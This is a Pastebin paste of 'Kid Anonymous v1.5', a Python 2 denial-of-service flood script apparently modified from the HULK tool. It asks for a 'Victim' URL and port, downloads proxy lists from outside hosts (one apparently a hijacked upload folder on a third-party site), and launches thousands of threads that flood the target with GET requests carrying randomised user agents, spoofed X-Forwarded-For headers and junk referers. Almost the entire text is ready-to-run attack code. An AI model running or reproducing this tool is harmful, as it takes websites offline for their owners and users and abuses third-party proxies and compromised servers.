Advertisement
phuongadd

Kid Anonymous v1.5

Feb 13th, 2016
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.73 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3.  
  4. import random
  5. import socket
  6. import threading
  7. import time
  8. import datetime
  9. import urllib2
  10. import urllib
  11. import re
  12. import sys
  13. import optparse
  14. import os
  15. import urlparse
  16.  
  17. #Hulk Mod By Twi
  18. url=''
  19. proxy=''
  20. option=1
  21. checked_proxy=0
  22. url=''
  23. host=''
  24. option=1
  25. checked_proxy=0
  26. headers_useragents=[9999]
  27. headers_referers=[9999]
  28. keyword_top=[9999]
  29. request_counter=100000000000
  30. flag=0
  31. safe=0
  32. def inc_counter():
  33. global request_counter
  34. request_counter+=10000000
  35.  
  36. def set_flag(val):
  37. global flag
  38. flag=val
  39.  
  40. def set_safe():
  41. global safe
  42. safe=1
  43.  
  44.  
  45.  
  46.  
  47.  
  48. def getUserAgent():
  49. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  50. if platform == 'Macintosh':
  51. os = random.choice(['68K', 'PPC'])
  52. elif platform == 'Windows':
  53. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  54. elif platform == 'X11':
  55. os = random.choice(['Linux i686', 'Linux x86_64'])
  56. browser = random.choice(['chrome', 'firefox', 'ie'])
  57. if browser == 'chrome':
  58. webkit = str(random.randint(500, 599))
  59. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  60. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  61. elif browser == 'firefox':
  62. currentYear = datetime.date.today().year
  63. year = str(random.randint(2000, currentYear))
  64. month = random.randint(1, 12)
  65. if month < 10:
  66. month = '0' + str(month)
  67. else:
  68. month = str(month)
  69. day = random.randint(1, 30)
  70. if day < 10:
  71. day = '0' + str(day)
  72. else:
  73. day = str(day)
  74. gecko = year + month + day
  75. version = str(random.randint(1, 21)) + '.0'
  76. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  77. elif browser == 'ie':
  78. version = str(random.randint(1, 10)) + '.0'
  79. engine = str(random.randint(1, 5)) + '.0'
  80. option = random.choice([True, False])
  81. if option == True:
  82. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  83. else:
  84. token = ''
  85. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  86.  
  87. reFerers = [
  88. "https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=",
  89. "http://www.google.com/?q=",
  90. "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
  91. "https://drive.google.com/viewerng/viewer?url=",
  92. "http://www.google.com/translate?u=",
  93. "https://developers.google.com/speed/pagespeed/insights/?url=",
  94. "http://help.baidu.com/searchResult?keywords=",
  95. "http://www.bing.com/search?q=",
  96. "https://add.my.yahoo.com/rss?url=",
  97. "https://twitter.com/search?q=",
  98. "https://play.google.com/store/search?q="]
  99.  
  100. def randomReFerer():
  101. return random.choice(reFerers)
  102.  
  103. def buildblock(size):
  104. out_str = ''
  105. for i in range(0, size):
  106. a = random.randint(65, 90)
  107. out_str += chr(a)
  108. return(out_str)
  109.  
  110. def randomIp():
  111. random.seed()
  112. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  113. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  114. return result
  115.  
  116. def randomIpList():
  117. random.seed()
  118. res = ""
  119. for ip in xrange(random.randint(2, 8)):
  120. res = res + randomIp() + ", "
  121. return res[0:len(res) - 2]
  122.  
  123. class attacco(threading.Thread):
  124. def run(self):
  125. current = x
  126. if current < len(listaproxy):
  127. proxy = listaproxy[current].split(':')
  128. else:
  129. proxy = random.choice(listaproxy).split(':')
  130. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  131. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  132. referer = "Referer: "+ randomReFerer() + randomReFerer() + randomReFerer() + url + "?r="+ str(random.randint(1, 1000)) + buildblock(random.randint(7, 14)) + "\r\n"
  133. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  134. while nload:
  135. time.sleep(1)
  136. while 1:
  137. try:
  138. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  139. a.connect((proxy[0], int(proxy[1])))
  140. a.send(httprequest)
  141. try:
  142. for i in xrange(3):
  143. a.send(httprequest)
  144. except:
  145. tts = 1
  146. except:
  147. proxy = random.choice(listaproxy).split(':')
  148.  
  149. #Main
  150. print":::::::::::::::>KID<:::::::::::::::::"
  151. # Site
  152. url = raw_input("Victim: ")
  153. port = raw_input( "Port:" )
  154. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  155. host_url = url + ":" + port
  156. #Proxy
  157. proxyf = urllib.urlopen("https://350adf0c87a0387a8100df99cb67bc325c711efb.googledrive.com/host/0B03s85BjEAHVfkpJaVZKdDFnQ25VTEJsZE5FMzhwUjBOa1VLUFdtRDhSR01qenZ1M1hZMWs/yyy.txt").read()
  158. listaproxy = proxyf.split('\n')
  159. proxyf = urllib.urlopen("http://www.vigillaralarmes.com.br/admin/assets/ckeditor/kcfinder/upload/files/proxy.txt").read()
  160. listaproxy = proxyf.split('\n')
  161. #So luong
  162. thread = input("Number (7000): ")
  163. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  164. accept = "Accept-Encoding: gzip, deflate\r\n"
  165. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  166. nload = 0
  167. x = 0
  168. print("CODE MOD BY KID !!!!!!!!!!!!!!!!!!!!!!!!")
  169. for x in xrange(int(thread + 1)):
  170. attacco().start()
  171. time.sleep(0.0000000000000000000000000000000000000000000000000000001)
  172. print("ATTACK BY KID !!!!!!!!!!!!!!!!!!!!!!!!!!")
  173. while not nload:
  174. time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement